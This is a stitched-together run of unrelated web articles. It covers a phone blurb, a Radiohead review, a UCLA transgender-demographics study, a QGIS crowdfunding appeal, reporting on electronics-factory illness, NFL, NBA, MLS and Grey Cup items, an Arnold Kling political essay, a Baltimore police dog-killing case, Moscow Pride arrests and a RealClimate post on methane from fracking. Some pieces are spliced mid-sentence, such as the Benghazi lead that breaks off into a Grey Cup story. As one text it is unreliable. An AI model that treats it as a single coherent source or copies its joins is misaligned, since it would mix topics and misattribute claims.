While it might not have been a best seller, the Motorola X is one of the key Android handsets in the last twelve months. It delivered a solid consumer experience, it reinforced Google's vision of Android in the marketplace, and it reminded partners such as Samsung that they were not the dominant partner in Google's smartphone world. I'm watching carefully to see where Lenovo take the brand over the next twelve months, but the Moto X has earned its place both in the notable devices but also the notable politics of the Android world.Music Music The King Of Limbs B+ Music The King Of Limbs B+ B+ The King Of Limbs Artist Radiohead Label TBD Records
With The King Of Limbs—recorded in fits and starts over the course of a year, making it a virtual toss-off by Radiohead’s exacting standards—the band has made its most subliminal record. Dealing almost exclusively in sensation and texture, The King Of Limbs invites comparisons to the challenging abstractions and chilly atmospherics of Radiohead’s game-changing Kid A/Amnesiac period. The difference is that those records conveyed a sort of emotional paralysis; this one is about fumbling into motion.
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After shoring up Radiohead’s guitar-rock credentials on 2003’s Hail To The Thief and 2007’s In Rainbows, six-string physicists Jonny Greenwood and Ed O’Brien once again step aside on The King Of Limbs. Radiohead focuses instead on its most underrated element, its rhythm section, particularly Phil Selway’s remarkable drumming. On the first two tracks, “Bloom” and “Morning Mr. Magpie,” Selway and bassist Colin Greenwood power the music to discomfiting velocity, creating a violently percussive bed for Thom Yorke’s languid vocals. The juxtaposition of speed and slow-motion replicates the feeling of being in a car crash, a recurring disaster in Radiohead songs. Only this time, the fear of losing control gives way to acceptance, or at least recognition that a free-fall to oblivion can be pretty damn exhilarating. “I will slip into the groove and cut me up and cut me up,” Yorke sings on “Lotus Flower,” Limbs’ catchiest song, a sensually slinky come-on that’s one remix away from being a dance-floor favorite (if that hasn’t happened already).
As is Radiohead’s custom, The King Of Limbs hasn’t been designed for immediate comprehension or acceptance. It’s densely detailed and intended to be pored over, with new, fascinating wrinkles emerging with every listen. (Marvel at how a trumpet, a synth line, and Yorke’s voice harmonize over the same wordless sigh on the mournful piano ballad “Codex.”) While The King Of Limbs always sounds great, the actual songs prove elusive—perhaps too elusive at times. (The dub-step dalliance “Feral” is best appreciated as a showcase for Selway’s rapid-fire time-keeping.) The album’s relatively skimpy 37-minute running time might suggest to some that this is Radiohead’s slightest effort yet, but there’s more to The Kings Of Limbs than revealed on first listen, and even well after that. Or, as Yorke himself says on the closing track, “Separator,” over the album’s swingiest backbeat, “if you think this is over, then you’re wrong.”In a recent study, UCLA researchers found transgender adults are more racially and ethnically diverse in comparison to the general United States population.
The Williams Institute at the UCLA School of Law, which published the study in October, also found that transgender adults who identified with a certain race were significantly more likely to live in communities with a high proportion of individuals of the same race.
Taylor Brown, a co-author of the report and a policy analyst at the Williams Institute, said the study is the first to comprehensively assess racial trends in the U.S. transgender population.
“That this was the first study of its kind really speaks to how new this research is,” Brown said. “This sets the baseline for future research.”
Brown said previous studies used only limited samples to study racial diversity among transgender adults. The Williams Institute’s recent report used representative data from all 50 states and District of Columbia, which he said made it more likely to accurately describe trends in transgender diversity nationwide.
[Related: Graphic: UCLA study finds 1.4 million US adults identify as transgender]
Brown said he and other researchers assessed trends by collecting data from the 2014 Behavioral Risk Factor Surveillance System, a nationwide telephone survey administered by the Centers for Disease Control and Prevention. The survey gathers information about the transgender identity of respondents, among other health- and identity-related information.
He said he and his collaborators combined the results from the BRFSS and data from the U.S. Census to assess the race and ethnicity of transgender adults, as well as their location.
He added that the researchers do not know why transgender populations exhibit disproportionate racial and ethnic diversity.
“(These results) have led to questions we really don’t know how to answer at this point, but we’re happy to spark more conversation,” Brown said.
Adriana Navarro Rodriguez, a third-year astrophysics student, said she finds the report’s findings surprising because she herself had not observed a similar trend.
“I’ve never really had to think about (this trend) because it’s not something I’ve ever seen or noticed,” she said.
Rodriguez, who has a transgender brother, added she thinks it’s counterintuitive that there are more minorities that identify as transgender because she believes conservative minority families may be less likely to accept their transgender family members.
Raja Bhattar, director of the Lesbian Gay Bisexual Transgender Campus Resource Center, said they think the report’s results point to a trend that has probably been longstanding in American society.
“People of color tend to know what it feels like to be marginalized, so they’re more accepting than other communities, even if it’s of a different kind of marginalization,” Bhattar said.
Bhattar added they think transgender adults tend to cluster in areas with a high proportion of people of their own race because they feel safer in communities they identify with.
[Related: Film with diverse cast depicts plight of undocumented transgender Latinas]
“It’s not a surprising finding,” Bhattar said. “In my experience, transgender people feel deeper roots in communities they’ve grown up in.”
Brown said that he hopes future research can help uncover the factors behind the trends identified in the report. He added he hopes researchers will use the same model of demographics assessment to investigate other trends in the transgender population, including levels of education attained by transgender individuals.At North Road we believe that crowdfunding is a sustainable way to maintain and enhance open source software, like the QGIS open source GIS package. We’ve run a number of successful crowdfunding campaigns in the past, including support in QGIS for live layer effects, a point cluster renderer, and a unique value renderer for raster layers.
Now, we’re proud to announce our latest crowd funding endeavour, and our biggest to date, the QGIS Layout and Reporting Engine Campaign.
This campaign covers stage 1 of a large, ongoing project to modernise and expand on QGIS’ print composer and layout facilities. Over time QGIS’ composer functionality has grown extensively and now is capable of creating flexible, high quality cartographic outputs. However, we’ve now hit a limit where the current code architecture is prohibiting further improvements and important fixes. In order to add a reporting framework to QGIS, it is necessary for us to refactor and improve large sections of the composer code.
If this campaign is successful, we’ll be adding flexible report generation features to QGIS and cleaning up all the existing composer code. As part of these clean up, we’ll be taking the opportunity to tackle a number of current limitations which cannot be addressed in the current composition code:
Layouts will become unit aware, allowing for item placement and properties using millimetres, inches, pixels, centimetres, points, etc.
Layouts will have the ability to include mixed page sizes and orientations.
Plugins will be able to create custom composer item types (eg allow utilisation of 3rd party graphing and visualisation libraries!).
Individual layout items can be rasterised without affecting the rest of the layout. For instance, a map which requires rasterisation due to its use of blend modes will not require all other layout items (such as headings, legends, etc) to be rasterised. This will greatly benefit PDF outputs for complex map layouts.
The code refresh will allow more extensive use of data defined layout item properties.
A render caching system will be implemented for items, speeding up use of the layout designer and also paving the way for use of live paint effects on layout items (eg dynamic drop shadows).
Full details on what we have planned are available here: QGIS Layout and Reporting Engine Campaign.
To make it possible we need 30,000€ pledged before 31 May 2017. You can help make this a reality by supporting the campaign or by sharing the campaign page and increasing exposure to the campaign. Updates to follow!Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.
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The global electronics industry boasts of technical perfection and seamless production. But look closer and you can spot assembly lines tangled with rotten nerve endings and veins swollen with toxins. Workers of the high-tech economy face hazards that echo the lethal smokestacks of Dickensian England. Ad Policy
This time, however, it’s not Manchester where workers are ailing, but the semiconductor capitals of the world in East Asia. South Korea, which together with China leads the world in production of brand-name electronics, has been slowly awakening to the public health fallout of workplace poisoning. Two of South Korea’s major semiconductor producers, SK Hynix and Samsung, are coming under heavy pressure to investigate and pay for an epidemic of occupational illness that many trace back to their production lines.
A 2014 analysis by Hankoryeah newspaper found that “at least 13 people who worked at SK Hynix between 1995 and 2010 died of lympho-hematopoietic malignancies (five from leukemia and five from non-Hodgkin lymphomas), while at least 11 people working at the semiconductor division at Samsung Electronics during the same period died of the same diseases.”
At both SK Hynix and Samsung, over a 15-year period, “around 80 people altogether fell ill with lympho-hematopoietic diseases. Non-Hodgkin lymphoma rates were particularly elevated among women.
Though proving a direct causal link to either of the firms is difficult, SK Hynix is now moving forward with a precautionary approach by implementing an independent investigation committee’s recommendations for long-term compensation. Advocates hope the measures will lead to strengthened chemical safeguards across the manufacturing process.
Meanwhile, the South Korea-based No More Deaths campaign has for years sought to hold Samsung accountable for a spate of cancers, which the group says has resulted in more than 70 worker deaths. Although the company recently relented to years of pressure from victims’ advocates by allowing workers to apply for compensation from a special $85.8 million fund, survivors have rejected the plan, arguing that it has stonewalled victims, and that even the latest promises of compensation and reform are whitewashed and lacking transparency. They also object to the restrictions Samsung sought to place on the fund, such as rules limiting the number of diseases covered or requiring several years of employment with the company. LIKE THIS? GET MORE OF OUR BEST REPORTING AND ANALYSIS
The arbitration committee established by third-party experts called for a more objective process with oversight from an independently appointed ombudsman, and recommended the inclusion of 12 additional diseases for compensation claims.
Meanwhile, South Korea’s controversies may be eclipsed by a parallel crisis in China. A recent Wired investigation revealed alarming patterns of electronics workers reporting waves of respiratory and neurological illness. Factory worker Long Li described her rapid physical deterioration over just a few months: going numb in her hands, then roiling joint paint, and eventually, “Long found herself unable to move her legs. ‘I was just lying on my bed all day and needed help to eat.’” Fair compensation from employers is rare, and China’s anemic healthcare infrastructure is sorely lacking.
Though firm statistics are lacking on the scope of the hazards, a 2013 public health survey of about 7,600 electronics workers found that “More than 60% of the female workers self-reported occupation-related diseases.”
Often illnesses occurred in the workforces of shady supplier factories that subcontract with brands like Apple and Samsung. While tech giants tout “corporate social responsibility” programs to improve supply-chain labor conditions, Wired reports that health and safety may be sidelined in the pursuit of basic wage-and-hour improvements: “In many cases, companies have merely pushed the problems outward from their own factories to contractors and subcontractors, where compliance is more difficult to enforce.”
Given the growing scale of the problem, the SK Hynix settlement marks a relatively clean first step in redressing occupational illnesses in tech. Jeong ok-Kong, an occupational physician with South Korea-based Supporters for the Health And Rights of People in the Semiconductor Industry, tells The Nation via e-mail that SK Hynix’s compensation framework could “be a good example on how to address this type of problem in a socially-acceptable and responsible way, especially in contrast to what Samsung has done.” For example, the company ensured “social communication and transparency” by including a civil society group on the advisory committee and publicizing the investigation’s results, and “respond[ed] quickly without delaying the solution by repeated denial of the problem.”
The need for corporate transparency is a question of social and workplace democracy. Garrett Brown, a workplace health and safety specialist who previously worked with California’s occupational health agency, says, “The right of workers to know what they’re exposed to…is missing throughout the industry and throughout the supply chains.” Right-to-know laws in the US chemicals and processing industries have led to regulatory breakthroughs and major advocacy campaigns. Today, Asian workers—some of whom constitute workforces that rival the population of a small nation—remain in the dark about what they breathe and touch every day at work.
To tech firms, protecting “product integrity” takes priority over protecting human safety: “The production process has never really been designed to protect workers, it’s always been designed to protect the product,” Brown says. Routinely, “workers are exposed to very high levels of toxic chemicals which change all the time, many of which have never been sufficiently studied as to what their effects are in human beings.”
The problem lies in a production system that incentivizes firms to ignore safety concerns to achieve what Brown calls the “Iron Triangle”: ever-higher product value, ever-accelerating production speeds, and ever-cheaper production costs. The most convenient source of such “efficiencies” for employers is naturally squeezing an increasingly exhausted, overstretched workforce.
“So you pay them less, you have unpaid overtime, you pay as little as possible for health and safety compliance or environmental compliance,” Brown says, “and it’s all driven by the sweatshop business model of global supply chains.” But the bodies of workers are only so pliable until their health finally gets spent. And as economic development accelerates, the societies that have tried to prosper from cheap tech manufacturing are now facing a devastating public health debt.
Technology firms pride themselves on defining what’s cool and cutting-edge, but until the workers in high-tech sweatshops get some relief, no amount of Silicon Valley style can gloss over the toxic substance fueling its profits.For the first time in NBA history, a player has won five straight Player of the Month awards in a single season. Is there any more evidence needed for LeBron James to secure his fourth MVP award? Or is the only question left whether the voting will be unanimous or not.
James has now won ten of these awards as a member of the HEAT (the most of any Miami player) and it's the 20th in franchise history. As the team cruised to a 17-1 (.944) record in March, the King was the player who shined the brightest, averaging 25.8 points, 8.2 rebounds, 7.4 assists and 1.82 steals while shooting 53.2 percent from the field for the month.
The HEAT's official press release is chockful of stat goodies for those who just need to know more about the reigning MVP's dominant 31 days of basketball perfection:NFL commissioner Roger Goodell said Wednesday that the league does not think it has lost viewers despite a 10 percent drop in television ratings this season.
At the same time, however, he acknowledged that league officials are trying to understand what has caused the drop and how to address it.
Speaking after the league's fall meetings in Houston, Goodell said it is important not just to get viewers tuned in but also to "get them to stay tuned in" to game broadcasts.
"There a lot of factors to be considered. We don't make excuses. We try to figure out what's changing." Roger Goodell, on drop in NFL's ratings this season
"When you look at ratings you have to go deeper than that," Goodell said. "Its viewers, but also how long they're engaging for, and a lot of times, people will leave a game for whatever reason, whether it's to go to other programming or whether the game is not that competitive."
Goodell said neither he nor the league's broadcast partners believe player protests of the national anthem have played a role in the drop. But he did note a relative lack of competitive games in prime time and the contentious presidential election and debate schedule as partial explanations.
"There a lot of factors to be considered," he said. "We don't make excuses. We try to figure out what's changing."
Also at the meetings, Goodell heard what he called a "factual" presentation of the Oakland Raiders' interest in relocating to Las Vegas. Goodell, however, said "there is still a great deal of information that we need to gather with respect to the circumstances in Oakland and also the challenges," indicating that resolution of the issue shouldn't be expected quickly.
Nevada lawmakers recently approved $750 million in public money to be used toward a domed stadium that would open in 2020. Billionaire casino mogul Sheldon Adelson has pledged $650 million toward the project, but Goodell said NFL owners have not been briefed on the structure of that offer. The Raiders could apply for relocation as early as January 15, 2017.
There will be follow-up discussion "maybe as early as December but more likely later than that," Goodell said.
In other meeting news:
Goodell offered no apologies for the uptick in taunting and unsportsmanlike conduct penalties this season. "We do believe that our players are role models and others look at that at the youth level," he said, "so that's important for us. And it's part of being a professional. That's one element of it. We have taunting and it's a significant issue, and taunting fouls are up this year. It's probably a combination of making that a point of emphasis, and we look at that as sportsmanship. In most cases when somebody taunts somebody else, somebody reacts and it can escalate quickly. People may not like the rule. They may not like the line that's been drawn, but we believe it's part of being a professional league.
Goodell said owners spent much of Wednesday morning discussing the league's collective bargaining agreement, which has reached its halfway point and will expire in 2021. The deal has worked "incredibly well" for players and owners, Goodell said. ESPN has reported that the league would like to extend the deal before its expiration.ALGIERS — Algeria, a country that depends on energy for 97 percent of its exports and two-thirds of its government revenue, is facing an economic crisis precipitated by the plunge in oil prices. And that is just fine with Toufik Lerari and Marhoun Rougab, entrepreneurs who see it as salvation for the rest of the Algerian economy.
“Our chance is the collapsing oil prices,” Mr. Lerari said in his office, where colorful pop art paintings decorate the walls. “Now, we cannot wait anymore. We must act. We want to concentrate our energy on what works well in this country. What can you build if you’re not positive?”
Mr. Lerari, 38, and Mr. Rougab, 30, founded a communications company, Allegorie, in 2010, and business has been good — so much so that they want to hold up themselves and others like them as an answer to Algeria’s problems.
If nothing else, Mr. Lerari said, their optimism is a welcome antidote to the government officials who recently warned on national television of an incipient economic crisis. The warnings prompted talk among pundits that political instability could soon follow.The Emerging Stagnant Majority By Arnold Kling
William Voegeli, in an article for the Claremont Review called “The Wilderness Years Begin,” cites an article by Ronald Brownstein.
Start by considering the electorate’s six broadest demographic groups — white voters with at least a four-year college degree; white voters without a college degree; African-Americans; Hispanics; Asians; and other minorities.
Now posit that each of those groups voted for Barack Obama or John McCain in exactly the same proportions as it actually did. Then imagine that each group represented the share of the electorate that it did in 1992. If each of these groups voted as it did in 2008 but constituted the same share of the electorate as in 1992, McCain would have won. Comfortably.
…Imagine that the major demographic groups voted as they did in 2008, but cast a share of the vote equal to their expected share of the population in 2020. (For argument’s sake, let’s divide whites among college and noncollege voters in the same proportions as today.) In that scenario, Obama beats McCain by nearly 14 points — almost twice as much as in 2008. Demography will indeed be destiny if Republicans can’t broaden their reach.
I call this the emerging stagnant majority, because I see it leading to political stagnation, which in turn will reinforce economic stagnation.
I am in the middle of reading Violence and Social Orders, by Nobel Laureate Douglass North, John J. Wallis, and Barry R. Weingast (NWW). The theme of the book is that political and economic development is part of the same process, which they call the social order. The developed world enjoys an open-access order, in which both politics and economics are highly competitive. The rest of the world is in a natural state, in which only the members of the governing coalition are fully free to own property, participate in the political process and–most importantly–form durable organizations.
The United States is currently taking a giant step backward in the direction of a natural state. NWW would say that we are still an open-access order. However, the importance of the rule of law is declining, and the importance of political connections to the elite is increasing. I think we will see this trend emerge much more strongly over the next decade, as it becomes clear that the Republican Party is not going to win another national election. Interest groups will lose hope in competitive elections, and instead they will focus on accomodating the Democrats, which in turn will consolidate the power of the ruling party.
In economics this leads to stagnation, as we shift from an economic system dominated by competition and change from the bottom up to a system of rent-seeking and centralized management. There will be less creative destruction and more redistribution.
In the NWW world, an open-access order avoids stagnation because of political competition. It is in the interest of those out of power to develop attractive alternatives, and it is in the interest of those in power to provide economic growth. However, that assumes a competitive electoral process. The demographic picture, in which traditional Republican voting groups are shrinking as a proportion of the electorate, means that the Democrats have to worry less and less about alienating economic elites, as long as they can maintain an identity politics that appeals to non-whites.
Given this view, libertarians may have the basic economics right when it comes to open borders. Other things equal, more immigration is much better for the immigrants and somewhat better for the native population.
But other things are not equal. Taking into account the effect of immigration on the political equilibrium, Steve Sailer may have it right. We may have seen the last of America as a dynamic economy with a competitive political system. Instead, we may be headed toward a stagnant economy and a one-party political system.
Have a nice day.What is the word that defines when you do the same thing over and over again and expect a different result? Because when it comes to national TV that is exactly what MLS is. Now I have to be careful here, it isn't all MLS's fault, as ESPN/2, Galavision, and NBC Sports all play a major role in this as well.
Late last week in the online version of the Wall Street Journal in their interview with MLS Comish Don Garber, said the following:
Television ratings are down 18 percent on ESPN and ESPN2 through three telecasts but the new package on NBC Sports Network has averaged 118,000 viewers for six telecasts, up 84 percent from last year on Fox Soccer Channel, which has a smaller distribution. "We've got to grow our television ratings in order to achieve our goals," he said. "We could turn that switch on if we wanted to invest in more David Beckhams, because we've seen ratings growth with (Thierry) Henry and Beckham when those two players are on national television." online.wsj.com
Now I firmly believe that one thing he has said is right, we do need the TV ratings to grow, it is the only way we are going to get more money for the rights to broadcast matches. Which I believe is the key to larger salary caps, deeper rosters both in terms of talent and depth, and the league growing, but I am l left with questions.
You have had David Beckham for four plus years but your ratings still suck nationally, this is year 3 with Thierry Henry and your ratings still suck, are you talking about the one match the two will play this year? So one good match is enough for you? So the fact that your numbers have only grown because of adding markets and changing to a network with more households, isn't troubling? I mean come on Don, there has been no real growth in TV ratings for MLS soccer despite the league adding those big names and big salaries, has there? Yes, I will give you David has been on Oprah, and the talk shows, heck he even has his own national Burger King ad on TV, but not one of those has resulted in a real bump in MLS TV ratings and they aren't likely to.
The problems aren't easy but there is one question that has to be asked, is the strategy of showing top markets over and over again working?
So let me be clear, I don't think MLS and their national TV partners should avoid showing the big markets or big names, but it is clear that doing the same thing each year isn't working because each year the conversation is about how to improve ratings. So who how are the networks choosing what matches to show? Easy market size, market size, and little else. The exception is their fascination with the crowds at Seattle and Portland (which I fully understand and have little issue with). Here is how the schedules look for national TV:
ESPN will show 10 MLS matches this year and 7 of them involve ( New York 4 times, 4 times for LA), the other 3 feature Seattle (the #14 TV market).
ESPN 2 will show 10 MLS matches this year and 7 of them involve LA or New York (3 New York, 4 LA), 2 involve Philly (#4 TV market) and the other is FC Dallas vs Houston (#5 vs#10 TV markets).
Galavision will show 24 matches this year, 4 appearances by New York, 4 by LA.
Are you seeing a trend here, but remember that ratings are down 18% so far on ESPN/2 this year
NBC is scheduled to show 3 matches, two feature New York, the other Seattle
NBC Sports is scheduled to show 37 matches this year, 6 involve New York, 7 involve LA
This is no surprise it was the same way in 2011 and 2010, and yet here we are again with numbers that don't impress, don't get MLS to that next level. ESPN/2 featured LA, New York and Seattle 19 times in 2010, and again in 2011 and somehow the numbers just don't improve.
I think there are a couple of rather glaring issues, first clearly focusing a vast majority of national TV matches on the biggest markets isn't working very well. In fact if you look at the info that came out in 2010 about what TV markets watch MLS, it is funny that the number one TV market in the US, New York isn't even found on the top 10 markets that watch MLS:
Seattle-Tacoma
Los Angeles
Houston
Las Vegas
Norfolk VA
Columbus OH
Dallas-Ft. Worth
Miami-Ft. Lauderdale
St. Louis
Washington DC
One thing is clear New York, the market MLS thinks is ripe for a second team, appears to have little interest in watching MLS. Might want to think about putting another team there, if you think it will save the league and generate huge TV numbers, cause nothing points in that direction.
Now let's be clear the numbers aren't impressive even in these markets, you have the reality that ESPN/2 is down 18% this year from last year's numbers that were up 18%, and let's be really clear for ESPN in 2010 their average was 288K for MLS matches, and in 2011 it was 311K, so it is likely we are back to that 288K number. Remember that ESPN/2 are available in over 100 million households in the US, and MLS is getting 1/3 of 1 percent of that total to watch matches.
MLS seems proud of the 118K that are watching matches on NBC Sports, which is typical, it is a bigger number as they say by 84% (I call BS on that) over FSC (which had a 70K average last year). I actually consider the new numbers a bit of a disgrace, remember that FSC was only in 40 million households and NBC Sports is in about 90 million so the numbers should have at least doubled.
Now I think there are a couple of solutions, none of which will MLS like.
More matches during the week - I get that teams don't like midweek matches and that historically in some markets the gates have been hurt by midweek matches, but even the NFL knows that having matches on Monday night, Saturday nights and Thursday nights at some point of their season helps out. I think if you had two matches each Wednesday on national TV, one at 7pm EST and one at 7pm PST that you would establish a viewing audience, I also would put one match a week on at 8pm EST on Friday nights. To make it work you have to do it every week of the season, you need a commitment from the teams and the networks to make it work.
If you do a national match on Saturday do it early - Saturday will always be when you have a majority of your matches, so a big chunk of your fans are not at home to watch matches they are out tailgating or at matches. I love that this week NBC Sports has an early match on, keep it at or about that time all season and I bet your numbers get better.
Spread the love - If you want to build an audience they need to know that there are more than 3-5 teams in the league, I get showing the bigger markets more, but passing over teams like Sporting KC, Real Salt Lake, San Jose and others every year is getting old. Let your fans see the teams from around the league, let them find a favorite if they aren't in a MLS market (hint 4 of the top 10 watching MLS don't have a team). You have a lot of faces and players who you can use to promote the league and not all of them are named David, Theirry, or Landon.
Now there are other things that will help the sport be better received on TV, first explain the rules. Do a short 2-3 minute piece before each match that explains things like offsides, hand balls, and things that are unique about soccer. Also do a piece about the fans at each stadium you broadcast from, soccer is best seen live so use TV to drive fans to their local matches and supporting their local teams. I hear from people all the time that once they see the game live that it makes it much easier to watch on TV.
I also think that there is something that the national TV guys need to learn from the local broadcasts, I am not sure what it is but think about this fact, while broadcasting to 90 million homes gets NBC sports 118K viewers, in the 33rd largest TV market Salt Lake City, ABC4 and CW30 are averaging over 35K per match they broadcast. That is about 1/3 of what NBCS is getting, despite broadcasting to 87 million fewer homes.
How good are RSL's local TV numbers? Well I asked Matt Jaquint the GM of ABC4/CW30 a couple questions about the local broadcasts, and he was nice enough to provide some additional information:
1. We are now 7 matches into the MLS season and all the matches have been broadcast on either ABC4 or CW 30, how are the ratings doing? The ratings have remained at earlier levels. We are encouraged by the strength of the core audience that watches RSL games. 2. Are you getting any feedback from the public about airing the matches? Recently a midweek match was a tape-delayed broadcast on CW30, is that something fans should expect in the future? From time to time matches will be delayed for network obligations. That being said the match did a similar rating on a two hour delay which is very encouraging. You have to remember fans only saw a handful of games last year and only on pay networks. This is a big upgrade. 3. How do RSL ratings compare with other programming in similar time slots on both networks? They are comparable to a lot of shows at that time period on broadcast television and that is good news for soccer. 4. With national numbers being fairly low based on how many households those networks are in, how are the RSL numbers in other cities around the state served by ABC4 and CW30? We reach the entire state of Utah and can be seen over the air by any household. Thus, people around the state are thrilled to have access to RSL. 5. Could you break down the RSL numbers by match? Are the matches against bigger market teams more popular, or are you seeing numbers more correlated to times and which network the matches are on? The matches have been fairly consistent. It is probably too early to determine if the ratings will spike and fall due to the opponent.
So while the questions about MLS on national TV abound, it is clear that locally RSL has gotten themselves into a much better position and it is resulting in more fans in the market place both at matches (RSL attendance is up over last year by about 10%) and on TV. I don't believe that Salt Lake is the only team doing well with their local broadcasts, so I think MLS and the national TV partners might just want to spend some time with local team and local broadcast partners to find out what they are doing differently and how to exploit that on a national level.
So what would you do to get more people watching MLS on national TV, clearly ideas are needed?
OFF MY SOAPBOXPhoto Courtesy Sarah Gossard
A Baltimore police officer is facing felony animal cruelty charges after slitting the throat of a dog officers had under control, according to the department.
Sarah Gossard, the dog’s owner, said she let the dog outside without realizing the gate was open. The 7-year-old Shar-Pei named Nala was later found by a woman that tried to check the animal’s tag. She was nipped by the dog and suffered a superficial wound.
Officers from the Southeastern District arrived and corralled the dog while summoning police Emergency Services officers, who carry the long dog-control poles that can safely lasso stray dogs.
Witnesses at the scene told police that the officer, identified as Jeffrey Bolger, 49, was talking about killing the animal as he got out of his vehicle.
“I’m going to [expletive] gut this thing,” witnesses heard him say, according to the charging document.
Police Deputy Commissioner Dean Palmere called the killing “outrageous and unacceptable” and said internal affairs is investigating the incident, which took place Saturday morning in Brewers Hill.
Baltimore City Councilman Robert W. Curran, council liaison to the Mayor’s Anti-Animal Abuse Advisory Commission, said there was no reason to have killed the dog if it was restrained with a dog-control pole, as police say it was.
It’s pretty astounding that our public safety officers would ever have done this,” Curran said. “If you’re on the pole, usually, you’re pretty much at bay, you’re not a threat.”
Officer Bolger was booked Wednesday and released on his own recognizance. He faces charges of animal cruelty, aggravated animal cruelty and malfeasance in office. Bolger’s attorney could not be reached for comment Thursday morning.
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Comments on RedditThe killing of the US ambassador to Libya is rapidly becoming election fodder, as Republicans seize on confusion over the circumstances of Chris Stevens’ death in Benghazi three weeks ago and accuse the Obama administration of |
16,423, including more than 2,000 who bought their tickets at Sam Manson's sports store in downtown Hamilton - showed up for the national final on November 27 between the Flying Wildcats and the RCAF Blue Bombers from Winnipeg.
Both teams had worn red uniforms all season and, despite Winnipeg's nickname and Hamilton's distaste for blue-dominated football livery, Hamilton was designated as the team to change its colours to blue. So Saturday's Ticat replica jerseys don't reflect the actual 1943 Grey Cup toggery.
Although Winnipeg dominated the final statistics, Krol dominated the scoreboard as the Wildcats scored three touchdowns in the first quarter, then withstood furious Bomber forays on the way to a 23-14 victory. While the Bombers made mistake after mistake, Krol completed a 30-yard touchdown pass to Doug Smith early in the game, kicked converts after touchdowns by Smith, Lawson and Jimmy Fumio and also kicked a field goal and a single.
Peterson played every minute of the game on offence and defence, as he had done all season. It was sweet revenge for coach Brian Timmis and captain Jimmy Simpson, who had come out of retirement at the age of 37 to play for the '43 Wildcats. Both had been with the Tigers for their 1935 loss to the Winnipeg Blue Bombers, the first Grey Cup ever won by a western team.
The Wildcats' post-game celebrations at the Royal York Hotel included a party for a teammate who had been married just 48 hours before playing in the game.
The Flying Wildcats had one more big season, reaching the Grey Cup in 1944 with Peterson named a league all-star, but by the end of the decade, they were gone and Peterson stayed in Kitchener to build his business. Paul D. Peterson Enterprises, which supplied parts to the shoe, shirt and auto industries, is still run by his son, Don.
"The only thing I have any disappointment with is that I haven't been honoured by going into the hall of fame, " he told The Spec. "But I guess I wasn't good enough. I think of those guys like Joe Krol and I'd like to be in there with them."
After the death of his wife two years ago, Peterson moved into a seniors residence in Waterloo. He doesn't pay much attention to the NFL, but religiously follows the CFL "especially the Ticats and Argos" on TV and Saturday, he and his son will take in the live action at Guelph's Alumni Stadium.
With the end of the war and the amalgamation of Hamilton's two senior teams into the iconic Tiger-Cats, the Flying Wildcats soon receded into historical obscurity. But not for Peterson.
"I was really close to a lot of those fellows, " he says. "I think of them every time I'm involved with a Tiger-Cat alumni event.
"And I imagine I'll be thinking about them a lot on Saturday."Signup to receive a daily roundup of the top LGBT+ news stories from around the world
Russian authorities have released gay rights activists detained on Saturday for holding an unsanctioned gay pride rally in Moscow.
On Sunday, the Interior Department confirmed that the participants had been released, reports UPI. Around 30 activists from both pro and anti-LGBT factions were arrested at Moscow Pride on Saturday.
Since 2006, gay rights activists have requested permits to hold official gay pride parades, but have been turned down.
Gay Russian activist Nikolai Alexeyev and fellow organisers of Moscow Pride were arrested while meeting outside of the office of the Mayor of Moscow yesterday.
Mr Alexeyev, who has been arrested each year he attempts to organise gay pride events in the city, posted a photo on Twitter from a police van following his arrest.
Some gay rights advocates were held in the State Duma building, after they attempted to stage solitary, consecutive pickets. Such pickets do not require the state permit.
“Administrative violation reports were compiled for 39 detainees: protocols for the breach of the established rules of holding gatherings and meetings were drawn up for 29 detainees and protocols for petty hooliganism were completed for the other ten,” the Interior Department said.
Earlier this week, Thorbjorn Jagland, secretary-general of the Council of Europe asserted that Russia must allow demonstrations by LGBT people, and that it should protect the rights of citizens wishing to hold public rallies.
Over recent months, there has been an increase in violence against LGBT people, a crack down on some gay pride marches, and laws are being considered to make gay “propaganda” illegal.The Howarth et al paper estimating the climatic impact of shale gas extraction by hydraulic fracturing (fracking) has provoked a number of responses across the media. Since the issue of natural gas vs. coal or oil, and the specifics of fracking itself are established and growing public issues, most commentary has served to bolster any particular commenter’s prior position on some aspect of this. So far, so unsurprising. However, one aspect of the Howarth study uses work that I’ve been involved in to better estimate the indirect effects of short-lived emissions (including methane, the dominant component of shale gas). Seeing how this specific piece of science is being brought into a policy debate is rather interesting.
The basic issue is that for any real economic or industrial activity there are a variety of emissions associated with the life cycle of that activity – from construction, transport of fuels, operating emissions, end products etc. In deciding whether one activity is ‘better’ or ‘worse’ than an alternative, people need to have an assessment of the cost, the carbon footprint, other impacts etc., over that whole life cycle. There are of course different elements to this (cost, pollution, social issues) that need to weighed up, but one piece that is amenable to scientific analysis is the impact on climate drivers.
Calculating the net climate impact of an activity requires tracking many different emissions (not just CO2), and accounting for their (time-varying) impact on radiatively active components of the atmosphere or the properties of the affected land surface. While straightforward in conception, this can be complex and, inevitably, there are uncertainties in assessing all the knock-on effects. Over the years, many of the complexities have become better acknowledged which, in some cases, increases the total uncertainty, but the alternative of assuming that the indirect effects have zero impact with zero uncertainty is not tenable.
For shale gas extraction, (and indeed for most fossil fuel extraction), a big issue is fugitive emissions. These are emissions that arise by accident – mostly consisting of methane, but also other volatile organic compounds – as a function of the mining, refining, transport, or incomplete combustion. Since methane is a relatively powerful greenhouse gas whose source is dominated by anthropogenic activities at present, the impact of the fugitive emissions can be a significant component of the climate forcing associated with any activity.
The Howarth study, using admittedly poor observations (for lack of anything better), has come up with a relatively large potential for fugitive emissions from the fracking process itself – up to a few percent of the extracted gas. Converting this into an equivalent CO2 amount (for comparison with the impact of the gas once it is combusted), they have used Global Warming Potentials (GWPs) from Shindell et al (2009) (a paper I co-authored). A GWP is a kilo-for-kilo comparison of the radiative forcing associated with the emission of particular substance compared to CO2, integrated over a specific time frame. For a long-lived gas like CO2, forcing persists over a long time, while for a shorter lived species (like methane), the forcing goes down faster with time. Therefore the time frame for the GWP calculation matters a lot for the relative importance of the two gases. Methane is relatively more important for a 20 year time frame, than it is for a 100 year time frame, by about a factor of 3.
